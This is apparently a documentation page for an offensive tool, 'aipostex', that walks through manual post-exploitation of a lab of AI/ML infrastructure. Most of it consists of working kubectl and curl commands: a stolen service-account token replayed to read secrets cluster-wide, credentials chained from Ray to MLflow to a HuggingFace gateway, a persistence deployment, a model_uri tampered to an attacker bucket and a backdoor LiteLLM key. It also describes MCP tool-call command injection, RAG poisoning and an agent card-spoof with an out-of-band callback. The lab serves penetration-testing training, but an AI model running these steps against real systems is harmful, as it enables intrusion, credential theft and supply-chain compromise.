Skip to content

Manual Post-Exploitation

aipostex lands the foothold — a stolen service-account token, a uid=0 pod, a looted gateway credential — and hands it to you raw and un-redacted. This guide is what you do next, by hand, with native tooling (kubectl, curl, python). It's the layer that turns "the tool confirmed access" into "I own it."

Every section follows the same shape: what the tool landed → the native continuation → what you find → a reset note.

Read-only by default

The un-commented commands here are read-only — safe to run live against the estate as many times as you like. Anything that changes cluster/registry state is called out with a DESTRUCTIVE admonition; those dirty the lab and must be cleaned with one bash lab-scripts/reset-wave.sh before the next demo take.

The tool can hand you the session

Your engagement dossier (~/engagements/<name>, from aipostex sessions start) already includes a manual/ folder: a ready-to-use kubeconfig built from a stolen SA token, an env.sh of exports, and pivots.sh with the raw kubectl/curl one-liners below. source ~/engagements/<name>/manual/env.sh and you have $SA_TOKEN, $HF_TOKEN, … in your shell. The commands in this guide are the same ones, spelled out so you understand why each works. (From a saved findings file directly: aipostex report view <findings> --dossier-dir <dir>.)

Or drive it by hand inside the tool — the operator console

Most of the raw curl below has a first-class equivalent in aipostex itself. The operator console lets you keep operating a service by hand without leaving the tool, authed or unauthenticated, mining every response for loot:

  • aipostex <module> request METHOD PATH — one-shot HTTP call (the curl hops in §2/§5).
  • aipostex <module> shell — an interactive REPL: chat a looted model (ollama/openai-compat/ litellm/huggingface), run a Jupyter kernel Python REPL (§3), call MCP tools (§4), or drive an A2A agent (§6). The execution shells take --force-exploit.

It's manual — you run every request; there is no auto-chaining. Kubernetes keeps its kubectl handoff (§1) — it has no in-tool shell. Full flag reference: the tool's request / shell CLI docs (docs/cli/).

Reuse over reinvention: where the tool already runs a robust callback/session (the a2a OOB listener, the Ray beacon, the post-ex oracle), this guide points you at it rather than hand-rolling a listener.


1. Kubernetes — from a stolen token to the whole cluster

What the tool landed. aipostex k8s … secret-read / sa-loot / pod-exec against the estate node https://172.16.50.50:6443 (anon-open): the ml-prod/model-registry-creds secret, a uid=0 pod shell, and — the prize — the pipeline-runner service-account token, which is bound cluster-wide to create/update/delete on secrets, pods, and deployments (lab-scripts/k8s-node/manifests/vuln/30-escalation.yaml).

Native continuation. Capture the raw token from the tool run, then become that identity in plain kubectl:

# Grab the stolen SA token straight out of the sa-loot finding (un-redacted by design)
TOKEN=$(aipostex k8s --target https://172.16.50.50:6443 --insecure \
  sa-loot --namespace ml-prod --force-exploit --format jsonl \
  | jq -r 'select(.metadata.extracted_credentials).metadata.extracted_credentials[0].value')

K8S=https://172.16.50.50:6443
KC="--server=$K8S --insecure-skip-tls-verify --token=$TOKEN"

# What can this identity actually do?  → create/delete secrets,pods,deployments cluster-wide
kubectl $KC auth can-i --list

# Read every secret in the cluster, not just ml-prod
kubectl $KC get secrets -A

# The cross-namespace pivot: a *second* team's CI deploy key, reachable with this one token
kubectl $KC -n ml-system get secret pipeline-deploy-key -o jsonpath='{.data.DEPLOY_TOKEN}' | base64 -d
#  → glpat-FAKEmlPipelineDeployKey000111222

What you find. The can-i --list rows show create,delete on secrets/pods/deployments across the cluster — you're not a reader, you're a writer. The ml-system/pipeline-deploy-key secret is a different namespace's GitLab deploy token: one exec-stolen pod token reaches the control-plane team's CI credentials. That's the supply-chain blast radius.

DESTRUCTIVE — persistence

With cluster-wide create, the stolen writer SA can drop a rogue workload. This dirties the cluster — run reset-wave.sh afterward (the k8s pair re-applies its seed manifests on reboot, so the rollback is clean).

kubectl $KC -n ml-prod create deployment pwn --image=busybox:1.36 -- sh -c 'sleep infinity'

Honesty control

The same probe against the secure cluster on :6444 returns 401 — anonymous read is off, no token is stealable. aipostex k8s --target https://172.16.50.50:6444 --insecure rbac-probe reports not weak, which is exactly what it should.


2. The credential chain — raw curl, hop by hop

What the tool landed. aipostex ray jobs / mlflow / huggingface walk the guided chain. Every hop's credential is real (lab-scripts/lib/chain-config.sh) and works against a plain curl — the tool just automates the parsing.

# Hop 1 — Ray dashboard (unauthenticated): a job's runtime_env leaks the MLflow Basic cred
curl -s http://172.16.50.20:8265/api/jobs/ \
  | jq -r '.[].runtime_env.env_vars | select(.MLFLOW_TRACKING_PASSWORD) | "\(.MLFLOW_TRACKING_USERNAME):\(.MLFLOW_TRACKING_PASSWORD)"'
#  → ray-pipeline:MlflowRayChain!2026

# Hop 2 — MLflow gateway with the recovered Basic creds: find the experiment, pull the HF token
MLF=http://172.16.50.30:5000
EXP=$(curl -s -u ray-pipeline:'MlflowRayChain!2026' -H 'Content-Type: application/json' \
  $MLF/api/2.0/mlflow/experiments/search -d '{"max_results":100}' \
  | jq -r '.experiments[] | select(.name=="customer-embedding-model").experiment_id')
curl -s -u ray-pipeline:'MlflowRayChain!2026' -H 'Content-Type: application/json' \
  $MLF/api/2.0/mlflow/runs/search -d "{\"experiment_ids\":[\"$EXP\"]}" \
  | jq -r '.runs[].data.params[] | select(.key|test("token|hf")) | "\(.key)=\(.value)"'
#  → hf_tgi_token=hf_FAKE_aBcDeFgHiJkLmNoPqRsTuVwXyZ123

# Hop 3 — HF TGI gateway: replay the looted token for REAL model inference
curl -s http://172.16.50.40:8180/generate \
  -H "Authorization: Bearer hf_FAKE_aBcDeFgHiJkLmNoPqRsTuVwXyZ123" \
  -H 'Content-Type: application/json' \
  -d '{"inputs":"incident response playbook:","parameters":{"max_new_tokens":24}}'

# Side hop — LiteLLM proxy master key → multi-provider inference (note :4000 open, :4001 authed control)
curl -s http://172.16.50.20:4000/v1/models -H "Authorization: Bearer sk-litellm-lab-auth-key-FAKE123" | jq '.data[].id'

What you find. Each hop hands you the credential for the next: one open Ray dashboard → MLflow → a real HuggingFace token → real generated text from a model-serving backend. No tool in the loop — just the creds it recovered and curl.

DESTRUCTIVE — model tamper / backdoor key

Writing an MLflow run parameter (supply-chain tamper) or minting a LiteLLM backdoor key changes state → reset-wave.sh after.

curl -s -u ray-pipeline:'MlflowRayChain!2026' http://172.16.50.30:5000/api/2.0/mlflow/runs/log-parameter \
  -H 'Content-Type: application/json' -d '{"run_id":"<id>","key":"model_uri","value":"s3://attacker/poisoned"}'
curl -s http://172.16.50.20:4000/key/generate -H "Authorization: Bearer sk-litellm-lab-auth-key-FAKE123" \
  -H 'Content-Type: application/json' -d '{"key_alias":"backdoor"}'


3. Jupyter — a kernel is a shell

What the tool landed. aipostex jupyter … start-kernel / exec on 172.16.50.10:8888: a live Python3 kernel running as devuser. Code execution in a kernel is code execution on the box.

# List sessions / kernels with the looted token
curl -s -H "Authorization: token <jupyter-token>" http://172.16.50.10:8888/api/sessions | jq

# From inside a kernel (aipostex jupyter exec), read the local admin token + pivot to
# localhost-only services the network can't reach directly:
#   open('/home/devuser/.secrets/internal-admin.token').read()
#   requests.get('http://127.0.0.1:9999/admin', headers={'Authorization': open('/home/devuser/.secrets/internal-admin.token').read().strip()})

What you find. Files under /home/devuser/.secrets/ and localhost-bound admin panels that are invisible from the estate subnet — the kernel is your pivot. See the walkthrough's Act 10 for the full lateral-movement beat.


4. MCP — tool-call injection is RCE

What the tool landed. aipostex mcp … poison --mode cmd-inject on 172.16.50.10:3000: a shell metacharacter in a tool argument returns uid=1001(devuser) — a real command execution path through the MCP server's tool handler.

The tool's mcp verbs already drive the JSON-RPC handshake, tool discovery, and the injection payload correctly; the manual equivalent is a hand-crafted tools/call over the same transport. Prefer aipostex mcp … poison here — it handles the SSE/JSON-RPC framing so you don't have to.

DESTRUCTIVE if the payload writes

--command id is read-only; a payload that writes files or opens a reverse shell dirties the box → reset-wave.sh.


5. Vector databases — read the store, poison the answer

What the tool landed. aipostex vectordb … search-sensitive on ChromaDB (172.16.50.20:8000), Weaviate (172.16.50.30:8080), Qdrant (172.16.50.30:6333): PII, card data, and salary rows sitting in embeddings.

# ChromaDB — list collections, then read documents by hand (READ-ONLY)
curl -s http://172.16.50.20:8000/api/v1/collections | jq
curl -s http://172.16.50.20:8000/api/v1/collections/<id>/get -H 'Content-Type: application/json' -d '{}' | jq

DESTRUCTIVE — RAG poisoning

Injecting a document that surfaces in an LLM's context is a real integrity attack (aipostex vectordb … inject / rag-verify proves the round-trip). It mutates the store → reset-wave.sh.


6. Agents (a2a) — reuse the OOB listener, don't hand-roll one

What the tool landed. aipostex a2a … card-spoof on 172.16.50.40:8103: the agent fetches an attacker-controlled card and a nonce-correlated out-of-band callback confirms the fetch — upgrading the finding from influenced to takeover-capable.

This is the case where you reuse the tool's session handling rather than standing up your own listener: aipostex already runs the OOB callback server, embeds the nonce, and correlates the hit. The callback lands on the attack box (--callback-url http://172.16.50.99:18943).

# Reuse the built-in listener + nonce correlation:
aipostex a2a --target http://172.16.50.40:8103 card-spoof \
  --callback-url http://172.16.50.99:18943 --force-exploit

A raw manual card-spoof (POST a spoofed card, run your own listener) is possible, but you'd be re-implementing exactly what the tool already does robustly — so don't, unless you're testing the listener itself.


Cleaning up

Any DESTRUCTIVE step above dirties the estate. One command restores every VM (including the k8s node, whose Docker k3s pair re-applies its seed manifests on reboot):

bash lab-scripts/reset-wave.sh          # on the Proxmox host